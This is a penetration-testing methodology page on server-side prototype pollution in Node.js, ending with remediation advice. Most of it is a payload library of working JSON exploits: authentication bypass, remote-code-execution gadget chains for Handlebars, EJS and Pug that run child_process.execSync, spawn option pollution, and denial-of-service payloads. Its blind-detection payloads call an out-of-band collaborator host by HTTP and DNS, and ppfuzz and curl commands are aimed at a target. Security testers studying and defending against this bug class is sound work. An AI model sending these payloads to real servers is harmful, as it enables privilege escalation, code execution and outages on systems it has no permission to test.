Prototype Pollution (Server-Side / Node.js)
Severity: Critical | CWE: CWE-1321 OWASP: A03:2021 – Injection
What Is Server-Side Prototype Pollution?
Same root cause as client-side (see 55_ProtoPollution_Client.md) but exploited in Node.js server processes. When user-controlled JSON/query data reaches _.merge, qs.parse, lodash.set, or similar functions on the server, polluting Object.prototype can:
- Bypass authentication (add
isAdmin: trueto all objects) - RCE via gadget chains in template engines, child_process, spawn, or
envvariables - Crash the server (DoS via
toStringorconstructoroverwrite)
Unlike client-side, impact persists across all user sessions until server restarts — one successful attack affects all users.
// Vulnerable server-side code (Node.js/Express):
app.post('/settings', (req, res) => {
const userConfig = {};
_.merge(userConfig, req.body); // ← user-controlled data merged
// If req.body = {"__proto__": {"isAdmin": true}}
// → Object.prototype.isAdmin = true
// → Every object in this Node process inherits isAdmin: true
if (config.isAdmin) { // always true now
grantAdmin();
}
});
Discovery Checklist
- Find endpoints accepting JSON body with deep merge/extend operations
- Test
{"__proto__": {"polluted": true}}in JSON POST body - Test
{"constructor": {"prototype": {"polluted": true}}} - Test URL query string:
?__proto__[polluted]=1 - Test nested path:
{"a": {"__proto__": {"polluted": true}}} - Confirm via a harmless property — check if it propagates to response
- Look for Node.js in tech stack (Express, Koa, Fastify, NestJS, Hapi)
- Check libraries: lodash (merge/defaults/set), qs, deep-extend, merge, defaults, clone
- Test template engines: Handlebars, EJS, Pug, Nunjucks for RCE gadgets
- Test after pollution: does
{}["polluted"]return your value in any response? - Check
package.jsonvia path traversal or exposed endpoints for dependency versions
Payload Library
Payload 1 — Authentication Bypass
// If app checks req.user.isAdmin or similar property:
{"__proto__": {"isAdmin": true}}
{"__proto__": {"admin": true}}
{"__proto__": {"role": "admin"}}
{"__proto__": {"authorized": true}}
{"__proto__": {"authenticated": true}}
{"__proto__": {"permissions": ["admin", "read", "write"]}}
{"__proto__": {"access_level": 9999}}
// Nested pollution:
{"settings": {"__proto__": {"isAdmin": true}}}
// Constructor path:
{"constructor": {"prototype": {"isAdmin": true}}}
// Via URL-encoded body:
__proto__[isAdmin]=true
__proto__[role]=admin
constructor[prototype][isAdmin]=true
Payload 2 — RCE via Handlebars Template Engine
# Handlebars has a known gadget chain for prototype pollution → RCE:
# Pollution payload (JSON body):
{
"__proto__": {
"pendingContent": "{{#with \"s\" as |string|}}\n {{#with \"e\"}}\n {{#with split as |conslist|}}\n {{this.pop}}\n {{this.push (lookup string.sub \"constructor\")}}\n {{this.pop}}\n {{#with string.split as |codelist|}}\n {{this.pop}}\n {{this.push \"return require('child_process').execSync('id').toString();\"}}\n {{this.pop}}\n {{#each conslist}}\n {{#with (string.sub.apply 0 codelist)}}\n {{this}}\n {{/with}}\n {{/each}}\n {{/with}}\n {{/with}}\n {{/with}}\n{{/with}}"
}
}
# Simpler Handlebars RCE gadget (check version-specific PoCs):
{"__proto__": {"type": "Program", "body": [{"type": "MustacheStatement", "path": {"type": "SubExpression", "path": {"type": "PathExpression", "original": "constructor", "parts": ["constructor"]}, "params": [{"type": "StringLiteral", "value": "return process.mainModule.require('child_process').execSync('id').toString()"}]}}]}}
Payload 3 — RCE via child_process.spawn / fork
# If app calls spawn/fork with options that include env from a merged config:
# Polluting NODE_OPTIONS or shell-related env vars:
{"__proto__": {"NODE_OPTIONS": "--inspect=0.0.0.0:1337"}}
{"__proto__": {"NODE_OPTIONS": "--require /proc/self/environ"}}
# Polluting `shell` option:
{"__proto__": {"shell": "node"}}
# Polluting `argv0` to change process name:
{"__proto__": {"argv0": "node"}}
# If app uses execFile with a merged options object:
# Pollution makes options.shell = true → command injection via filename
{"__proto__": {"shell": true}}
# Then filename becomes: "ls; id" → shell executes "id"
Payload 4 — RCE via EJS Template Engine
# EJS < 3.1.7 prototype pollution → RCE via outputFunctionName gadget:
{
"__proto__": {
"outputFunctionName": "a=1;process.mainModule.require('child_process').execSync('id > /tmp/pwned');s"
}
}
# Or via delimiter:
{
"__proto__": {
"delimiter": "a",
"openDelimiter": "1;require('child_process').execSync('id');//",
"closeDelimiter": ";"
}
}
Payload 5 — RCE via Pug Template Engine
# Pug prototype pollution gadget:
{
"__proto__": {
"compileDebug": true,
"self": true,
"line": "require('child_process').execSync('id')"
}
}
Payload 6 — Blind Detection (OOB)
# When no visible output — use OOB to confirm pollution:
{
"__proto__": {
"NODE_OPTIONS": "--require /proc/self/fd/0",
"env": {
"EVIL": "require('http').get('http://COLLABORATOR_ID.oast.pro/confirm')"
}
}
}
# DNS exfil via shell injection in spawn:
{
"__proto__": {
"shell": "/bin/bash",
"argv0": "bash",
"env": {"CMD": "nslookup COLLABORATOR_ID.oast.pro"}
}
}
# Timing-based (if server process hangs when certain props polluted):
{"__proto__": {"toString": null}} # crash
{"__proto__": {"valueOf": null}} # crash
Payload 7 — DoS via Prototype Pollution
# Pollute toString/valueOf → crash any code that calls it:
{"__proto__": {"toString": 1}} # TypeError: toString is not a function
{"__proto__": {"constructor": 1}} # Kills Object.constructor chain
{"__proto__": {"hasOwnProperty": 1}} # Breaks for...in loops
# Infinite loop via __defineGetter__:
{"__proto__": {"a": {"get": "b"}}}
# Memory exhaustion via polluting length:
{"__proto__": {"length": 999999999}}
Tools
# server-side-prototype-pollution-gadgets — Gareth Heyes research:
# Reference: https://portswigger.net/research/server-side-prototype-pollution
# ppfuzz — server and client side:
git clone https://github.com/dwisiswant0/ppfuzz
ppfuzz -l urls.txt --server
# Burp Suite:
# - Send all JSON POSTs to Repeater
# - Add __proto__ key manually, check for behavior changes
# - Param Miner → Guess JSON params (includes __proto__ detection)
# DOM Invader (Burp) also does server-side detection on reflected responses
# Manual Node.js gadget check — if you have source access:
grep -rn "merge\|defaultsDeep\|_.set\|deepMerge\|clone\|assign" \
--include="*.js" node_modules/
# Check lodash version:
cat node_modules/lodash/package.json | grep '"version"'
# Vulnerable: < 4.17.21
# Check qs version:
cat node_modules/qs/package.json | grep '"version"'
# Vulnerable: < 6.7.3
# Test server-side pollution via response observation:
# Send: {"__proto__": {"test123": "polluted"}}
# Then send any GET request → does {} have test123 in response?
curl -X POST https://target.com/api/update \
-H "Content-Type: application/json" \
-d '{"__proto__": {"x_polluted": "yes"}}' \
-H "Authorization: Bearer TOKEN"
# Then check if reflected anywhere:
curl https://target.com/api/config \
-H "Authorization: Bearer TOKEN" | grep "x_polluted"
Remediation Reference
- Freeze
Object.prototype:Object.freeze(Object.prototype)at application startup - Update lodash: >= 4.17.21 for merge, set, defaultsDeep
- Update qs: >= 6.7.3 for query string parsing
- Use
Object.create(null)for objects used as hash maps - Schema validation before merge: use JSON Schema, Zod, or Joi — reject
__proto__,constructor,prototypekeys - Sanitize keys: filter out dangerous keys before any deep merge:
if (key === '__proto__' || key === 'constructor') continue - Use Map/WeakMap instead of plain objects for attacker-controlled key-value data
- Regular
npm audit: identifies prototype pollution vulnerabilities in dependencies
Part of the Web Application Penetration Testing Methodology series.